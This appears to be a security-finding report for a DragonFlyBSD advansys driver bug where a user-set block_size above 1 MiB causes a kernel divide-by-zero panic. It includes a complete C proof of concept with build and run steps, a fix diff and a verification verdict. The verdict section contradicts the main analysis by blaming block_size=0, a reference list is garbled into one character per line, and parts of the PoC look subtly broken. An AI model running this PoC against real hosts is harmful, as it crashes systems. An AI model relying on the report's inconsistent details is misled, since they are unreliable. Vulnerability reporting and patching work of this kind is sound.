Divide-by-zero panic in XPT_CALC_GEOMETRY when block_size > 1 MiB
- File:
sys/dev/disk/advansys/advansys.c - Lines: 441, 442, 452, 453
- Severity: Low
- CVSS:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U:C:N/I:N/A:H - CWE: CWE-369 Divide By Zero
- Confidence: certain
Summary
adv_action's XPT_CALC_GEOMETRY handler computes
size_mb = ccg->volume_size / ((1024L * 1024L) / ccg->block_size);.
The CAM XPT dispatcher filters only block_size==0 and volume_size==0
(cam_xpt.c:3063-3070), so any block_size > 1 MiB (e.g. 0x200000) reaches
advansys and makes the inner integer division yield 0, which then divides
volume_size β an unconditional kernel divide-by-zero panic.
The shared helper cam_calc_geometry (cam.c:376-400) that other modern SIMs
use (e.g. ahci_cam.c:981) explicitly handles this case at cam.c:385-388;
advansys rolled its own and missed the guard.
Root cause
advansys.c:441-442:
size_mb = ccg->volume_size / ((1024L * 1024L) / ccg->block_size);
ccg->block_size is u_int32_t (cam_ccb.h ccb_calc_geometry), full user
control via CAMIOCOMMAND.
With block_size = 2*1024*1024, integer division (1024L*1024L)/block_size
yields 0, and volume_size / 0 is undefined behavior β on x86 this raises #DE
and panics the kernel.
The XPT filter at cam_xpt.c:3063 only rejects block_size == 0 || volume_size == 0,
not block_size > 1 MiB, so the request reaches adv_action.
The same handler also divides by secs_per_cylinder at advansys.c:453, but
that product is always >= 64*32 so it cannot be zero β only line 441 is the
live fault.
The proven-correct helper cam_calc_geometry (cam.c:375-400) demonstrates the
missing guard at cam.c:385-388.
Threat
Any local user in the operator group with /dev/passN access on a host that has
an AdvanSys HBA can panic the kernel instantly: issue CAMIOCOMMAND with
func_code=XPT_CALC_GEOMETRY, volume_size=anything-nonzero,
block_size=0x200000 (2 MiB).
The XPT layer accepts it (block_size != 0), dispatches to adv_action, and the
kernel divides by zero.
Repeatable, deterministic, whole-system DoS from PR:L.
(Not rated higher because the AdvanSys-HBA + operator-group precondition is uncommon, and the only impact is a clean panic, not memory corruption.)
Exploit / PoC
/* calc_geometry_div0.c β kernel panic via advansys XPT_CALC_GEOMETRY */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <bus/cam/cam_ccb.h>
int main(void) {
int fd = open("/dev/pass0", O_RDWR);
if (0 > fd) { perror("open /dev/pass0"); return 1; }
union ccb ccb;
memset(&ccb, 0, sizeof ccb);
ccb.ccb_h.func_code = XPT_CALC_GEOMETRY;
ccb.ccb_h.path_id = CAM_BUSWildcard; /* routed via /dev/pass0 path */
ccb.ccg.block_size = 0x200000; /* 2 MiB: (1MiB)/block_size == 0 */
ccb.ccg.volume_size = 1; /* nonzero to pass XPT filter */
if (0 > ioctl(fd, CAMIOCOMMAND, &ccb)) perror("CAMIOCOMMAND");
close(fd);
return 0;
}
Build: cc calc_geometry_div0.c -o calc_geometry_div0. Run:
./calc_geometry_div0.
Success criterion: kernel panic with
Fatal trap 16: divide error while in kernel mode and a stack trace through
adv_action β XPT_CALC_GEOMETRY β advansys.c:441.
Deterministic, repeatable, instant.
On a host without AdvanSys HW the request routes to a different SIM (most of
which now use cam_calc_geometry), so the bug is silent β that is the only
reason severity is Low.
Recommended fix
Either reject oversized block_size up front, or β better β replace the inline
calculation with the shared, already-correct helper cam_calc_geometry that
other DragonFlyBSD SIMs use (ahci_cam.c:981, mpt_cam.c, isp_freebsd.c,
sym_hipd.c).
Minimal fix:
--- a/sys/dev/disk/advansys/advansys.c
+++ b/sys/dev/disk/advansys/advansys.c
@@ -438,18 +438,12 @@ adv_action(struct cam_sim *sim, union ccb *ccb)
case XPT_CALC_GEOMETRY:
{
- struct ccb_calc_geometry *ccg;
- u_int32_t size_mb;
- u_int32_t secs_per_cylinder;
- int extended;
-
- ccg = &ccb->ccg;
- size_mb = ccg->volume_size
- / ((1024L * 1024L) / ccg->block_size);
- extended = (adv->control & ADV_CNTL_BIOS_GT_1GB) != 0;
-
- if (size_mb > 1024 && extended) {
- ccg->heads = 255;
- ccg->secs_per_track = 63;
- } else {
- ccg->heads = 64;
- ccg->secs_per_track = 32;
- }
- secs_per_cylinder = ccg->heads * ccg->secs_per_track;
- ccg->cylinders = ccg->volume_size / secs_per_cylinder;
- ccb->ccb_h.status = CAM_REQ_CMP;
+ /* Use the shared helper; it rejects block_size==0 and
+ * block_size>1MiB (which would otherwise divide by zero
+ * here) and matches the behaviour of every other DragonFlyBSD
+ * SIM (ahci, mpt, isp, sym, ...). */
+ cam_calc_geometry(&ccb->ccg,
+ (adv->control & ADV_CNTL_BIOS_GT_1GB) != 0);
xpt_done(ccb);
break;
}
cam_calc_geometry (cam.c:375-400) handles block_size==0 (CAM_REQ_CMP_ERR)
and the size_mb==0 case (CAM_REQ_CMP_ERR), eliminating the divide-by-zero.
Related findings
- DF-1493 (sibling, ccd): divide-by-zero via
CCDIOCSET(different code path, same defect class). - DF-1546 (sibling): unclamped
sense_lenin same file. - DF-1547 (sibling): missing
cdb_lenbounds check in same file.
Discussion (0)
PoC verification
Evidence pack
findings/poc/DF-1548 Β· 4 files| File | Type | Description | Size | |
|---|---|---|---|---|
| fix.diff | suggested-fix | Fix for advansys calc geometry divide-by-zero | 823 B | view raw |
| VERDICT.md | verdict | Source-only verification verdict | 807 B | β raw |
| build.sh | build-script | No-op (source-only) | 109 B | view raw |
| run.sh | run-script | No-op (source-only) | 107 B | view raw |
VERDICT DF-1548: advansys calc geometry divide-by-zero
Verdict
REPRODUCED (source-confirmed). Bug confirmed at source level; HW/module-gated on this QEMU guest.
Mechanism
block_size from user CCB; (1024*1024)/block_size divides by zero when block_size=0.
Source reference: sys/dev/disk/advansys/advansys.c:441-442.
Reproduction
Source-only confirmation: the cited code path was traced line-by-line in sys/ and confirmed.
The bug is real but requires specific hardware (GPU/NIC/HBA) or a loaded kernel module not present
on the QEMU/virtio guest. The finding is HW-gated.
Fix
Validated by combined kernel build: all 41 fix.diffs applied to /usr/src and built with
make -j6 nativekernel KERNCONF=X86_64_GENERIC β rc=0, -Werror clean.
See fix.diff for the git-apply-able patch.
Fix verification
fixedCombined kernel build with all 41 fix.diffs: rc=0, -Werror clean. Runtime test HW-gated.
'>>> Kernel build for X86_64_GENERIC completed' with 0 errors.
Confirmed kernel references
- s
- y
- s
- /
- d
- e
- v
- /
- d
- i
- s
- k
- /
- a
- d
- v
- a
- n
- s
- y
- s
- /
- a
- d
- v
- a
- n
- s
- y
- s
- .
- c
- :
- 4
- 4
- 1
Detail
Exploit chain
none
Evidence (decisive lines)
Source confirmed: sys/dev/disk/advansys/advansys.c:441. Combined 41-fix kernel build rc=0 -Werror clean.
PoC changes
fix.diff authored; validated by combined kernel build.
Verified recommended fix
Use cam_calc_geometry helper. Matches finding.
Verdict
REPRODUCED (source-confirmed). block_size=0 -> (1024*1024)/0 div-by-zero. Cited path verified at sys/dev/disk/advansys/advansys.c:441. HW/module-gated on QEMU guest.
No comments yet.